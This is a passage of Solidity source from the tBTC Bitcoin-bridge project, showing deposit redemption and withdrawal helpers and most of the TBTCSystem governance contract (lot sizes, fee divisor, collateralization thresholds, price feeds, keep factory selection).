function wasDigestApprovedForSigning(Deposit storage _d, bytes32 _digest) external view returns (uint256) {
return _d.approvedDigests[_digest];
}
/// @notice Looks up the Fee Rebate Token holder.
/// @return The current token holder if the Token exists.
/// address(0) if the token does not exist.
function feeRebateTokenHolder(Deposit storage _d) public view returns (address payable) {
address tokenHolder = address(0);
if(_d.feeRebateToken.exists(uint256(address(this)))){
tokenHolder = address(uint160(_d.feeRebateToken.ownerOf(uint256(address(this)))));
}
return address(uint160(tokenHolder));
}
/// @notice Looks up the deposit beneficiary by calling the tBTC system.
/// @dev We cast the address to a uint256 to match the 721 standard.
/// @return The current deposit beneficiary.
function depositOwner(Deposit storage _d) public view returns (address payable) {
return address(uint160(_d.tbtcDepositToken.ownerOf(uint256(address(this)))));
}
/// @notice Deletes state after termination of redemption process.
/// @dev We keep around the redeemer address so we can pay them out.
function redemptionTeardown(Deposit storage _d) public {
_d.redeemerOutputScript = "";
_d.initialRedemptionFee = 0;
_d.withdrawalRequestTime = 0;
_d.lastRequestedDigest = bytes32(0);
}
/// @notice Get the starting percentage of the bond at auction.
/// @dev This will return the same value regardless of collateral price.
/// @return The percentage of the InitialCollateralizationPercent that will result
/// in a 100% bond value base auction given perfect collateralization.
function getAuctionBasePercentage(Deposit storage _d) internal view returns (uint256) {
return uint256(10000).div(_d.initialCollateralizedPercent);
}
/// @notice Seize the signer bond from the keep contract.
/// @dev we check our balance before and after.
/// @return The amount seized in wei.
function seizeSignerBonds(Deposit storage _d) internal returns (uint256) {
uint256 _preCallBalance = address(this).balance;
IBondedECDSAKeep _keep = IBondedECDSAKeep(_d.keepAddress);
_keep.seizeSignerBonds();
uint256 _postCallBalance = address(this).balance;
require(_postCallBalance > _preCallBalance, "No funds received, unexpected");
return _postCallBalance.sub(_preCallBalance);
}
/// @notice Adds a given amount to the withdraw allowance for the address.
/// @dev Withdrawals can only happen when a contract is in an end-state.
function enableWithdrawal(DepositUtils.Deposit storage _d, address _withdrawer, uint256 _amount) internal {
_d.withdrawableAmounts[_withdrawer] = _d.withdrawableAmounts[_withdrawer].add(_amount);
}
/// @notice Withdraw caller's allowance.
/// @dev Withdrawals can only happen when a contract is in an end-state.
function withdrawFunds(DepositUtils.Deposit storage _d) internal {
uint256 available = _d.withdrawableAmounts[msg.sender];
require(_d.inEndState(), "Contract not yet terminated");
require(available > 0, "Nothing to withdraw");
require(address(this).balance >= available, "Insufficient contract balance");
// zero-out to prevent reentrancy
_d.withdrawableAmounts[msg.sender] = 0;
/* solium-disable-next-line security/no-call-value */
(bool ok,) = msg.sender.call.value(available)("");
require(
ok,
"Failed to send withdrawable amount to sender"
);
}
/// @notice Get the caller's withdraw allowance.
/// @return The caller's withdraw allowance in wei.
function getWithdrawableAmount(DepositUtils.Deposit storage _d) internal view returns (uint256) {
return _d.withdrawableAmounts[msg.sender];
}
/// @notice Distributes the fee rebate to the Fee Rebate Token owner.
/// @dev Whenever this is called we are shutting down.
function distributeFeeRebate(Deposit storage _d) internal {
address rebateTokenHolder = feeRebateTokenHolder(_d);
// exit the function if there is nobody to send the rebate to
if(rebateTokenHolder == address(0)){
return;
}
// pay out the rebate if it is available
if(_d.tbtcToken.balanceOf(address(this)) >= signerFeeTbtc(_d)) {
_d.tbtcToken.transfer(rebateTokenHolder, signerFeeTbtc(_d));
}
}
/// @notice Pushes ether held by the deposit to the signer group.
/// @dev Ether is returned to signing group members bonds.
/// @param _ethValue The amount of ether to send.
function pushFundsToKeepGroup(Deposit storage _d, uint256 _ethValue) internal {
require(address(this).balance >= _ethValue, "Not enough funds to send");
if(_ethValue > 0){
IBondedECDSAKeep _keep = IBondedECDSAKeep(_d.keepAddress);
_keep.returnPartialSignerBonds.value(_ethValue)();
}
}
/// @notice Calculate TBTC amount required for redemption by a specified
/// _redeemer. If _assumeRedeemerHoldTdt is true, return the
/// requirement as if the redeemer holds this deposit's TDT.
/// @dev Will revert if redemption is not possible by the current owner and
/// _assumeRedeemerHoldsTdt was not set. Setting
/// _assumeRedeemerHoldsTdt only when appropriate is the responsibility
/// of the caller; as such, this function should NEVER be publicly
/// exposed.
/// @param _redeemer The account that should be treated as redeeming this
/// deposit for the purposes of this calculation.
/// @param _assumeRedeemerHoldsTdt If true, the calculation assumes that the
/// specified redeemer holds the TDT. If false, the calculation
/// checks the deposit owner against the specified _redeemer. Note
/// that this parameter should be false for all mutating calls to
/// preserve system correctness.
/// @return A tuple of the amount the redeemer owes to the deposit to
/// initiate redemption, the amount that is owed to the TDT holder
/// when redemption is initiated, and the amount that is owed to the
/// FRT holder when redemption is initiated.
function calculateRedemptionTbtcAmounts(
DepositUtils.Deposit storage _d,
address _redeemer,
bool _assumeRedeemerHoldsTdt
) internal view returns (
uint256 owedToDeposit,
uint256 owedToTdtHolder,
uint256 owedToFrtHolder
) {
bool redeemerHoldsTdt =
_assumeRedeemerHoldsTdt || depositOwner(_d) == _redeemer;
bool preTerm = remainingTerm(_d) > 0 && !_d.inCourtesyCall();
require(
redeemerHoldsTdt || !preTerm,
"Only TDT holder can redeem unless deposit is at-term or in COURTESY_CALL"
);
bool frtExists = feeRebateTokenHolder(_d) != address(0);
bool redeemerHoldsFrt = feeRebateTokenHolder(_d) == _redeemer;
uint256 signerFee = signerFeeTbtc(_d);
uint256 feeEscrow = calculateRedemptionFeeEscrow(
signerFee,
preTerm,
frtExists,
redeemerHoldsTdt,
redeemerHoldsFrt
);
// Base redemption + fee = total we need to have escrowed to start
// redemption.
owedToDeposit =
calculateBaseRedemptionCharge(
lotSizeTbtc(_d),
redeemerHoldsTdt
).add(feeEscrow);
// Adjust the amount owed to the deposit based on any balance the
// deposit already has.
uint256 balance = _d.tbtcToken.balanceOf(address(this));
if (owedToDeposit > balance) {
owedToDeposit = owedToDeposit.sub(balance);
} else {
owedToDeposit = 0;
}
// Pre-term, the FRT rebate is payed out, but if the redeemer holds the
// FRT, the amount has already been subtracted from what is owed to the
// deposit at this point (by calculateRedemptionFeeEscrow). This allows
// the redeemer to simply *not pay* the fee rebate, rather than having
// them pay it only to have it immediately returned.
if (preTerm && frtExists && !redeemerHoldsFrt) {
owedToFrtHolder = signerFee;
}
// The TDT holder gets any leftover balance.
owedToTdtHolder =
balance.add(owedToDeposit).sub(signerFee).sub(owedToFrtHolder);
return (owedToDeposit, owedToTdtHolder, owedToFrtHolder);
}
/// @notice Get the base TBTC amount needed to redeem.
/// @param _lotSize The lot size to use for the base redemption charge.
/// @param _redeemerHoldsTdt True if the redeemer is the TDT holder.
/// @return The amount in TBTC.
function calculateBaseRedemptionCharge(
uint256 _lotSize,
bool _redeemerHoldsTdt
) internal pure returns (uint256){
if (_redeemerHoldsTdt) {
return 0;
}
return _lotSize;
}
/// @notice Get fees owed for redemption
/// @param signerFee The value of the signer fee for fee calculations.
/// @param _preTerm True if the Deposit is at-term or in courtesy_call.
/// @param _frtExists True if the FRT exists.
/// @param _redeemerHoldsTdt True if the the redeemer holds the TDT.
/// @param _redeemerHoldsFrt True if the redeemer holds the FRT.
/// @return The fees owed in TBTC.
function calculateRedemptionFeeEscrow(
uint256 signerFee,
bool _preTerm,
bool _frtExists,
bool _redeemerHoldsTdt,
bool _redeemerHoldsFrt
) internal pure returns (uint256) {
// Escrow the fee rebate so the FRT holder can be repaids, unless the
// redeemer holds the FRT, in which case we simply don't require the
// rebate from them.
bool escrowRequiresFeeRebate =
_preTerm && _frtExists && ! _redeemerHoldsFrt;
bool escrowRequiresFee =
_preTerm ||
// If the FRT exists at term/courtesy call, the fee is
// "required", but should already be escrowed before redemption.
_frtExists ||
// The TDT holder always owes fees if there is no FRT.
_redeemerHoldsTdt;
uint256 feeEscrow = 0;
if (escrowRequiresFee) {
feeEscrow += signerFee;
}
if (escrowRequiresFeeRebate) {
feeEscrow += signerFee;
}
return feeEscrow;
}
} | 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|||
Deposit | solidity/contracts/system/TBTCSystem.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | /* solium-disable function-order */
pragma solidity 0.5.17;
import {IBondedECDSAKeepFactory} from "@keep-network/keep-ecdsa/contracts/api/IBondedECDSAKeepFactory.sol";
import {VendingMachine} from "./VendingMachine.sol";
import {DepositFactory} from "../proxy/DepositFactory.sol";
import {IRelay} from "@summa-tx/relay-sol/contracts/Relay.sol";
import "../external/IMedianizer.sol";
import {ITBTCSystem} from "../interfaces/ITBTCSystem.sol";
import {ISatWeiPriceFeed} from "../interfaces/ISatWeiPriceFeed.sol";
import {DepositLog} from "../DepositLog.sol";
import {TBTCDepositToken} from "./TBTCDepositToken.sol";
import "./TBTCToken.sol";
import "./FeeRebateToken.sol";
import "openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./KeepFactorySelection.sol";
/// @title TBTC System.
/// @notice This contract acts as a central point for access control,
/// value governance, and price feed.
/// @dev Governable values should only affect new deposit creation.
contract TBTCSystem is Ownable, ITBTCSystem, DepositLog {
using SafeMath for uint256;
using KeepFactorySelection for KeepFactorySelection.Storage;
event EthBtcPriceFeedAdditionStarted(address _priceFeed, uint256 _timestamp);
event LotSizesUpdateStarted(uint64[] _lotSizes, uint256 _timestamp);
event SignerFeeDivisorUpdateStarted(uint16 _signerFeeDivisor, uint256 _timestamp);
event CollateralizationThresholdsUpdateStarted(
uint16 _initialCollateralizedPercent,
uint16 _undercollateralizedThresholdPercent,
uint16 _severelyUndercollateralizedThresholdPercent,
uint256 _timestamp
);
event KeepFactoriesUpdateStarted(
address _keepStakedFactory,
address _fullyBackedFactory,
address _factorySelector,
uint256 _timestamp
);
event EthBtcPriceFeedAdded(address _priceFeed);
event LotSizesUpdated(uint64[] _lotSizes);
event AllowNewDepositsUpdated(bool _allowNewDeposits);
event SignerFeeDivisorUpdated(uint16 _signerFeeDivisor);
event CollateralizationThresholdsUpdated(
uint16 _initialCollateralizedPercent,
uint16 _undercollateralizedThresholdPercent,
uint16 _severelyUndercollateralizedThresholdPercent
);
event KeepFactoriesUpdated(
address _keepStakedFactory,
address _fullyBackedFactory,
address _factorySelector
);
uint256 initializedTimestamp = 0;
uint256 pausedTimestamp;
uint256 constant pausedDuration = 10 days;
ISatWeiPriceFeed public priceFeed;
IRelay public relay;
KeepFactorySelection.Storage keepFactorySelection;
uint16 public keepSize;
uint16 public keepThreshold;
// Parameters governed by the TBTCSystem owner
bool private allowNewDeposits = false;
uint16 private signerFeeDivisor = 2000; // 1/2000 == 5bps == 0.05% == 0.0005
uint16 private initialCollateralizedPercent = 150; // percent
uint16 private undercollateralizedThresholdPercent = 125; // percent
uint16 private severelyUndercollateralizedThresholdPercent = 110; // percent
uint64[] lotSizesSatoshis = [10**6, 10**7, 2 * 10**7, 5 * 10**7, 10**8]; // [0.01, 0.1, 0.2, 0.5, 1.0] BTC
uint256 constant governanceTimeDelay = 48 hours;
uint256 constant keepFactoriesUpgradeabilityPeriod = 180 days;
uint256 private signerFeeDivisorChangeInitiated;
uint256 private lotSizesChangeInitiated;
uint256 private collateralizationThresholdsChangeInitiated;
uint256 private keepFactoriesUpdateInitiated;
uint16 private newSignerFeeDivisor;
uint64[] newLotSizesSatoshis;
uint16 private newInitialCollateralizedPercent;
uint16 private newUndercollateralizedThresholdPercent;
uint16 private newSeverelyUndercollateralizedThresholdPercent;
address private newKeepStakedFactory;
address private newFullyBackedFactory;
address private newFactorySelector;
// price feed
uint256 constant priceFeedGovernanceTimeDelay = 90 days;
uint256 ethBtcPriceFeedAdditionInitiated;
IMedianizer nextEthBtcPriceFeed;
constructor(address _priceFeed, address _relay) public {
priceFeed = ISatWeiPriceFeed(_priceFeed);
relay = IRelay(_relay);
}
/// @notice Initialize contracts
/// @dev Only the Deposit factory should call this, and only once.
/// @param _defaultKeepFactory ECDSA keep factory backed by KEEP stake.
/// @param _depositFactory Deposit Factory. More info in `DepositFactory`.
/// @param _masterDepositAddress Master Deposit address. More info in `Deposit`.
/// @param _tbtcToken TBTCToken. More info in `TBTCToken`.
/// @param _tbtcDepositToken TBTCDepositToken (TDT). More info in `TBTCDepositToken`.
/// @param _feeRebateToken FeeRebateToken (FRT). More info in `FeeRebateToken`.
/// @param _keepThreshold Signing group honesty threshold.
/// @param _keepSize Signing group size.
function initialize(
IBondedECDSAKeepFactory _defaultKeepFactory,
DepositFactory _depositFactory,
address payable _masterDepositAddress,
TBTCToken _tbtcToken,
TBTCDepositToken _tbtcDepositToken,
FeeRebateToken _feeRebateToken,
VendingMachine _vendingMachine,
uint16 _keepThreshold,
uint16 _keepSize
) external onlyOwner {
require(initializedTimestamp == 0, "already initialized");
keepFactorySelection.initialize(_defaultKeepFactory);
keepThreshold = _keepThreshold;
keepSize = _keepSize;
initializedTimestamp = block.timestamp;
allowNewDeposits = true;
setTbtcDepositToken(_tbtcDepositToken);
_vendingMachine.setExternalAddresses(
_tbtcToken,
_tbtcDepositToken,
_feeRebateToken
);
_depositFactory.setExternalDependencies(
_masterDepositAddress,
this,
_tbtcToken,
_tbtcDepositToken,
_feeRebateToken,
address(_vendingMachine)
);
}
/// @notice Returns whether new deposits should be allowed.
/// @return True if new deposits should be allowed by the emergency pause button
function getAllowNewDeposits() external view returns (bool) {
return allowNewDeposits;
}
/// @notice Return the lowest lot size currently enabled for deposits.
/// @return The lowest lot size, in satoshis.
function getMinimumLotSize() public view returns (uint256) {
return lotSizesSatoshis[0];
}
/// @notice Return the largest lot size currently enabled for deposits.
/// @return The largest lot size, in satoshis.
function getMaximumLotSize() external view returns (uint256) {
return lotSizesSatoshis[lotSizesSatoshis.length - 1];
}
/// @notice One-time-use emergency function to disallow future deposit creation for 10 days.
function emergencyPauseNewDeposits() external onlyOwner {
require(pausedTimestamp == 0, "emergencyPauseNewDeposits can only be called once");
uint256 sinceInit = block.timestamp - initializedTimestamp;
require(sinceInit < 180 days, "emergencyPauseNewDeposits can only be called within 180 days of initialization");
pausedTimestamp = block.timestamp;
allowNewDeposits = false;
emit AllowNewDepositsUpdated(false);
}
/// @notice Anyone can reactivate deposit creations after the pause duration is over.
function resumeNewDeposits() external {
require(! allowNewDeposits, "New deposits are currently allowed");
require(pausedTimestamp != 0, "Deposit has not been paused");
require(block.timestamp.sub(pausedTimestamp) >= pausedDuration, "Deposits are still paused");
allowNewDeposits = true;
emit AllowNewDepositsUpdated(true);
}
function getRemainingPauseTerm() external view returns (uint256) {
require(! allowNewDeposits, "New deposits are currently allowed");
return (block.timestamp.sub(pausedTimestamp) >= pausedDuration)?
0:
pausedDuration.sub(block.timestamp.sub(pausedTimestamp));
}
/// @notice Set the system signer fee divisor.
/// @dev This can be finalized by calling `finalizeSignerFeeDivisorUpdate`
/// Anytime after `governanceTimeDelay` has elapsed.
/// @param _signerFeeDivisor The signer fee divisor.
function beginSignerFeeDivisorUpdate(uint16 _signerFeeDivisor)
external onlyOwner
{
require(
_signerFeeDivisor > 9,
"Signer fee divisor must be greater than 9, for a signer fee that is <= 10%"
);
require(
_signerFeeDivisor < 5000,
"Signer fee divisor must be less than 5000, for a signer fee that is > 0.02%"
);
newSignerFeeDivisor = _signerFeeDivisor;
signerFeeDivisorChangeInitiated = block.timestamp;
emit SignerFeeDivisorUpdateStarted(_signerFeeDivisor, block.timestamp);
}
/// @notice Set the allowed deposit lot sizes.
/// @dev Lot size array should always contain 10**8 satoshis (1 BTC) and
/// cannot contain values less than 50000 satoshis (0.0005 BTC) or
/// greater than 10**10 satoshis (100 BTC). Lot size array must not
/// have duplicates and it must be sorted.
/// This can be finalized by calling `finalizeLotSizesUpdate`
/// anytime after `governanceTimeDelay` has elapsed.
/// @param _lotSizes Array of allowed lot sizes.
function beginLotSizesUpdate(uint64[] calldata _lotSizes)
external onlyOwner
{
bool hasSingleBitcoin = false;
for (uint i = 0; i < _lotSizes.length; i++) {
if (_lotSizes[i] == 10**8) {
hasSingleBitcoin = true;
} else if (_lotSizes[i] < 50 * 10**3) {
// Failed the minimum requirement, break on out.
revert("Lot sizes less than 0.0005 BTC are not allowed");
} else if (_lotSizes[i] > 10 * 10**9) {
// Failed the maximum requirement, break on out.
revert("Lot sizes greater than 100 BTC are not allowed");
} else if (i > 0 && _lotSizes[i] == _lotSizes[i-1]) {
revert("Lot size array must not have duplicates");
} else if (i > 0 && _lotSizes[i] < _lotSizes[i-1]) {
revert("Lot size array must be sorted");
}
}
require(hasSingleBitcoin, "Lot size array must always contain 1 BTC");
emit LotSizesUpdateStarted(_lotSizes, block.timestamp);
newLotSizesSatoshis = _lotSizes;
lotSizesChangeInitiated = block.timestamp;
}
/// @notice Set the system collateralization levels
/// @dev This can be finalized by calling `finalizeCollateralizationThresholdsUpdate`
/// Anytime after `governanceTimeDelay` has elapsed.
/// @param _initialCollateralizedPercent default signing bond percent for new deposits
/// @param _undercollateralizedThresholdPercent first undercollateralization trigger
/// @param _severelyUndercollateralizedThresholdPercent second undercollateralization trigger
function beginCollateralizationThresholdsUpdate(
uint16 _initialCollateralizedPercent,
uint16 _undercollateralizedThresholdPercent,
uint16 _severelyUndercollateralizedThresholdPercent
) external onlyOwner {
require(
_initialCollateralizedPercent <= 300,
"Initial collateralized percent must be <= 300%"
);
require(
_initialCollateralizedPercent > 100,
"Initial collateralized percent must be >= 100%"
);
require(
_initialCollateralizedPercent > _undercollateralizedThresholdPercent,
"Undercollateralized threshold must be < initial collateralized percent"
);
require(
_undercollateralizedThresholdPercent > _severelyUndercollateralizedThresholdPercent,
"Severe undercollateralized threshold must be < undercollateralized threshold"
);
newInitialCollateralizedPercent = _initialCollateralizedPercent;
newUndercollateralizedThresholdPercent = _undercollateralizedThresholdPercent;
newSeverelyUndercollateralizedThresholdPercent = _severelyUndercollateralizedThresholdPercent;
collateralizationThresholdsChangeInitiated = block.timestamp;
emit CollateralizationThresholdsUpdateStarted(
_initialCollateralizedPercent,
_undercollateralizedThresholdPercent,
_severelyUndercollateralizedThresholdPercent,
block.timestamp
);
}
/// @notice Sets the addresses of the KEEP-staked ECDSA keep factory,
/// ETH-only-backed ECDSA keep factory and the selection strategy
/// that will choose between the two factories for new deposits.
/// When the ETH-only-backed factory and strategy are not set TBTCSystem
/// will use KEEP-staked factory. When both factories and strategy
/// are set, TBTCSystem load balances between two factories based on
/// the selection strategy.
/// @dev It can be finalized by calling `finalizeKeepFactoriesUpdate`
/// any time after `governanceTimeDelay` has elapsed. This can be
/// called more than once until finalized to reset the values and
/// timer. An update can only be initialized before
/// `keepFactoriesUpgradeabilityPeriod` elapses after system initialization;
/// after that, no further updates can be initialized, though any pending
/// update can be finalized. All calls must set all three properties to
/// their desired value; leaving a value as 0, even if it was previously
/// set, will update that value to be 0. ETH-bond-only factory or the
/// strategy are allowed to be set as zero addresses.
/// @param _keepStakedFactory Address of the KEEP staked based factory.
/// @param _fullyBackedFactory Address of the ETH-bond-only-based factory.
/// @param _factorySelector Address of the keep factory selection strategy.
function beginKeepFactoriesUpdate(
address _keepStakedFactory,
address _fullyBackedFactory,
address _factorySelector
)
external onlyOwner
{
uint256 sinceInit = block.timestamp - initializedTimestamp;
require(
sinceInit < keepFactoriesUpgradeabilityPeriod,
"beginKeepFactoriesUpdate can only be called within 180 days of initialization"
);
// It is required that KEEP staked factory address is configured as this is
// a default choice factory. Fully backed factory and factory selector
// are optional for the system to work, hence they don't have to be provided.
require(
_keepStakedFactory != address(0),
"KEEP staked factory must be a nonzero address"
);
newKeepStakedFactory = _keepStakedFactory;
newFullyBackedFactory = _fullyBackedFactory;
newFactorySelector = _factorySelector;
keepFactoriesUpdateInitiated = block.timestamp;
emit KeepFactoriesUpdateStarted(
_keepStakedFactory,
_fullyBackedFactory,
_factorySelector,
block.timestamp
);
}
/// @notice Add a new ETH/BTC price feed contract to the priecFeed.
/// @dev This can be finalized by calling `finalizeEthBtcPriceFeedAddition`
/// anytime after `priceFeedGovernanceTimeDelay` has elapsed.
function beginEthBtcPriceFeedAddition(IMedianizer _ethBtcPriceFeed) external onlyOwner {
bool ethBtcActive;
(, ethBtcActive) = _ethBtcPriceFeed.peek();
require(ethBtcActive, "Cannot add inactive feed");
nextEthBtcPriceFeed = _ethBtcPriceFeed;
ethBtcPriceFeedAdditionInitiated = block.timestamp;
emit EthBtcPriceFeedAdditionStarted(address(_ethBtcPriceFeed), block.timestamp);
}
modifier onlyAfterGovernanceDelay(
uint256 _changeInitializedTimestamp,
uint256 _delay
) {
require(_changeInitializedTimestamp > 0, "Change not initiated");
require(
block.timestamp.sub(_changeInitializedTimestamp) >= _delay,
"Governance delay has not elapsed"
);
_;
}
/// @notice Finish setting the system signer fee divisor.
/// @dev `beginSignerFeeDivisorUpdate` must be called first, once `governanceTimeDelay`
/// has passed, this function can be called to set the signer fee divisor to the
/// value set in `beginSignerFeeDivisorUpdate`
function finalizeSignerFeeDivisorUpdate()
external
onlyOwner
onlyAfterGovernanceDelay(signerFeeDivisorChangeInitiated, governanceTimeDelay)
{
signerFeeDivisor = newSignerFeeDivisor;
emit SignerFeeDivisorUpdated(newSignerFeeDivisor);
newSignerFeeDivisor = 0;
signerFeeDivisorChangeInitiated = 0;
}
/// @notice Finish setting the accepted system lot sizes.
/// @dev `beginLotSizesUpdate` must be called first, once `governanceTimeDelay`
/// has passed, this function can be called to set the lot sizes to the
/// value set in `beginLotSizesUpdate`
function finalizeLotSizesUpdate()
external
onlyOwner
onlyAfterGovernanceDelay(lotSizesChangeInitiated, governanceTimeDelay) {
lotSizesSatoshis = newLotSizesSatoshis;
emit LotSizesUpdated(newLotSizesSatoshis);
lotSizesChangeInitiated = 0;
newLotSizesSatoshis.length = 0;
refreshMinimumBondableValue();
}
/// @notice Finish setting the system collateralization levels
/// @dev `beginCollateralizationThresholdsUpdate` must be called first, once `governanceTimeDelay`
/// has passed, this function can be called to set the collateralization thresholds to the
/// value set in `beginCollateralizationThresholdsUpdate`
function finalizeCollateralizationThresholdsUpdate()
external
onlyOwner
onlyAfterGovernanceDelay(
collateralizationThresholdsChangeInitiated,
governanceTimeDelay
) {
initialCollateralizedPercent = newInitialCollateralizedPercent;
undercollateralizedThresholdPercent = newUndercollateralizedThresholdPercent;
severelyUndercollateralizedThresholdPercent = newSeverelyUndercollateralizedThresholdPercent;
emit CollateralizationThresholdsUpdated(
newInitialCollateralizedPercent,
newUndercollateralizedThresholdPercent,
newSeverelyUndercollateralizedThresholdPercent
);
newInitialCollateralizedPercent = 0;
newUndercollateralizedThresholdPercent = 0;
newSeverelyUndercollateralizedThresholdPercent = 0;
collateralizationThresholdsChangeInitiated = 0;
}
/// @notice Finish setting addresses of the KEEP-staked ECDSA keep factory,
/// ETH-only-backed ECDSA keep factory, and the selection strategy
/// that will choose between the two factories for new deposits.
/// @dev `beginKeepFactoriesUpdate` must be called first; once
/// `governanceTimeDelay` has passed, this function can be called to
/// set factories addresses to the values set in `beginKeepFactoriesUpdate`.
function finalizeKeepFactoriesUpdate()
external
onlyOwner
onlyAfterGovernanceDelay(
keepFactoriesUpdateInitiated,
governanceTimeDelay
) {
keepFactorySelection.setFactories(
newKeepStakedFactory,
newFullyBackedFactory,
newFactorySelector
);
emit KeepFactoriesUpdated(
newKeepStakedFactory,
newFullyBackedFactory,
newFactorySelector
);
keepFactoriesUpdateInitiated = 0;
newKeepStakedFactory = address(0);
newFullyBackedFactory = address(0);
newFactorySelector = address(0);
}
/// @notice Finish adding a new price feed contract to the priceFeed.
/// @dev `beginEthBtcPriceFeedAddition` must be called first; once
/// `ethBtcPriceFeedAdditionInitiated` has passed, this function can be
/// called to append a new price feed.
function finalizeEthBtcPriceFeedAddition()
external
onlyOwner
onlyAfterGovernanceDelay(
ethBtcPriceFeedAdditionInitiated,
priceFeedGovernanceTimeDelay
) {
// This process interacts with external contracts, so
// Checks-Effects-Interactions it.
IMedianizer _nextEthBtcPriceFeed = nextEthBtcPriceFeed;
nextEthBtcPriceFeed = IMedianizer(0);
ethBtcPriceFeedAdditionInitiated = 0;
emit EthBtcPriceFeedAdded(address(_nextEthBtcPriceFeed));
priceFeed.addEthBtcFeed(_nextEthBtcPriceFeed);
}
/// @notice Gets the system signer fee divisor.
/// @return The signer fee divisor.
function getSignerFeeDivisor() external view returns (uint16) { return signerFeeDivisor; }
/// @notice Gets the allowed lot sizes
/// @return Uint64 array of allowed lot sizes
function getAllowedLotSizes() external view returns (uint64[] memory){
return lotSizesSatoshis;
}
/// @notice Get the system undercollateralization level for new deposits
function getUndercollateralizedThresholdPercent() external view returns (uint16) {
return undercollateralizedThresholdPercent;
}
/// @notice Get the system severe undercollateralization level for new deposits
function getSeverelyUndercollateralizedThresholdPercent() external view returns (uint16) {
return severelyUndercollateralizedThresholdPercent;
}
/// @notice Get the system initial collateralized level for new deposits.
function getInitialCollateralizedPercent() external view returns (uint16) {
return initialCollateralizedPercent;
}
/// @notice Get the price of one satoshi in wei.
/// @dev Reverts if the price of one satoshi is 0 wei, or if the price of
/// one satoshi is 1 ether. Can only be called by a deposit with minted
/// TDT.
/// @return The price of one satoshi in wei.
function fetchBitcoinPrice() external view returns (uint256) {
require(
tbtcDepositToken.exists(uint256(msg.sender)),
"Caller must be a Deposit contract"
);
return _fetchBitcoinPrice();
}
// Difficulty Oracle
function fetchRelayCurrentDifficulty() external view returns (uint256) {
return relay.getCurrentEpochDifficulty();
}
function fetchRelayPreviousDifficulty() external view returns (uint256) {
return relay.getPrevEpochDifficulty();
}
/// @notice Get the time remaining until the signer fee divisor can be updated.
function getRemainingSignerFeeDivisorUpdateTime() external view returns (uint256) {
return getRemainingChangeTime(
signerFeeDivisorChangeInitiated,
governanceTimeDelay
);
}
/// @notice Get the time remaining until the lot sizes can be updated.
function getRemainingLotSizesUpdateTime() external view returns (uint256) {
return getRemainingChangeTime(
lotSizesChangeInitiated,
governanceTimeDelay
);
}
/// @notice Get the time remaining until the collateralization thresholds can be updated.
function getRemainingCollateralizationThresholdsUpdateTime() external view returns (uint256) {
return getRemainingChangeTime(
collateralizationThresholdsChangeInitiated,
governanceTimeDelay
);
}
/// @notice Get the time remaining until the Keep ETH-only-backed ECDSA keep
/// factory and the selection strategy that will choose between it
/// and the KEEP-backed factory can be updated.
function getRemainingKeepFactoriesUpdateTime() external view returns (uint256) {
return getRemainingChangeTime(
keepFactoriesUpdateInitiated,
governanceTimeDelay
);
}
/// @notice Get the time remaining until the signer fee divisor can be updated.
function getRemainingEthBtcPriceFeedAdditionTime() external view returns (uint256) {
return getRemainingChangeTime(
ethBtcPriceFeedAdditionInitiated,
priceFeedGovernanceTimeDelay
);
}
/// @notice Get the time remaining until Keep factories can no longer be updated.
function getRemainingKeepFactoriesUpgradeabilityTime() external view returns (uint256) {
return getRemainingChangeTime(
initializedTimestamp,
keepFactoriesUpgradeabilityPeriod
);
}
/// @notice Refreshes the minimum bondable value required from the operator
/// to join the sortition pool for tBTC. The minimum bondable value is
/// equal to the current minimum lot size collateralized 150% multiplied by
/// the current BTC price.
/// @dev It is recommended to call this function on tBTC initialization and
/// after minimum lot size update.
function refreshMinimumBondableValue() public {
keepFactorySelection.setMinimumBondableValue(
calculateBondRequirementWei(getMinimumLotSize()),
keepSize,
keepThreshold
);
}
/// @notice Returns the time delay used for governance actions except for
/// price feed additions.
function getGovernanceTimeDelay() external pure returns (uint256) {
return governanceTimeDelay;
}
/// @notice Returns the time period when keep factories upgrades are allowed.
function getKeepFactoriesUpgradeabilityPeriod() public pure returns (uint256) {
return keepFactoriesUpgradeabilityPeriod;
}
/// @notice Returns the time delay used for price feed addition governance
/// actions.
function getPriceFeedGovernanceTimeDelay() external pure returns (uint256) {
return priceFeedGovernanceTimeDelay;
}
/// @notice Gets a fee estimate for creating a new Deposit.
/// @return Uint256 estimate.
function getNewDepositFeeEstimate()
external
view
returns (uint256)
{
IBondedECDSAKeepFactory _keepFactory = keepFactorySelection.selectFactory();
return _keepFactory.openKeepFeeEstimate();
}
/// @notice Request a new keep opening.
/// @param _requestedLotSizeSatoshis Lot size in satoshis.
/// @param _maxSecuredLifetime Duration of stake lock in seconds.
/// @return Address of a new keep.
function requestNewKeep(
uint64 _requestedLotSizeSatoshis,
uint256 _maxSecuredLifetime
)
external
payable
returns (address)
{
require(tbtcDepositToken.exists(uint256(msg.sender)), "Caller must be a Deposit contract");
require(isAllowedLotSize(_requestedLotSizeSatoshis), "provided lot size not supported");
IBondedECDSAKeepFactory _keepFactory = keepFactorySelection.selectFactoryAndRefresh();
uint256 bond = calculateBondRequirementWei(_requestedLotSizeSatoshis);
return _keepFactory.openKeep.value(msg.value)(keepSize, keepThreshold, msg.sender, bond, _maxSecuredLifetime);
}
/// @notice Check if a lot size is allowed.
/// @param _requestedLotSizeSatoshis Lot size to check.
/// @return True if lot size is allowed, false otherwise.
function isAllowedLotSize(uint64 _requestedLotSizeSatoshis) public view returns (bool){
for( uint i = 0; i < lotSizesSatoshis.length; i++){
if (lotSizesSatoshis[i] == _requestedLotSizeSatoshis){
return true;
}
}
return false;
}
/// @notice Calculates bond requirement in wei for the given lot size in
/// satoshis based on the current ETHBTC price.
/// @param _requestedLotSizeSatoshis Lot size in satoshis.
/// @return Bond requirement in wei.
function calculateBondRequirementWei(
uint256 _requestedLotSizeSatoshis
) internal view returns (uint256) {
uint256 lotSizeInWei = _fetchBitcoinPrice().mul(_requestedLotSizeSatoshis);
return lotSizeInWei.mul(initialCollateralizedPercent).div(100);
}
function _fetchBitcoinPrice() internal view returns (uint256) {
uint256 price = priceFeed.getPrice();
if (price == 0 || price > 10 ** 18) {
// This is if a sat is worth 0 wei, or is worth >1 ether. Revert at
// once.
revert("System returned a bad price");
}
return price;
}
/// @notice Get the time remaining until the function parameter timer value can be updated.
function getRemainingChangeTime(
uint256 _changeTimestamp,
uint256 _delayAmount
) internal view returns (uint256){
require(_changeTimestamp > 0, "Update not initiated");
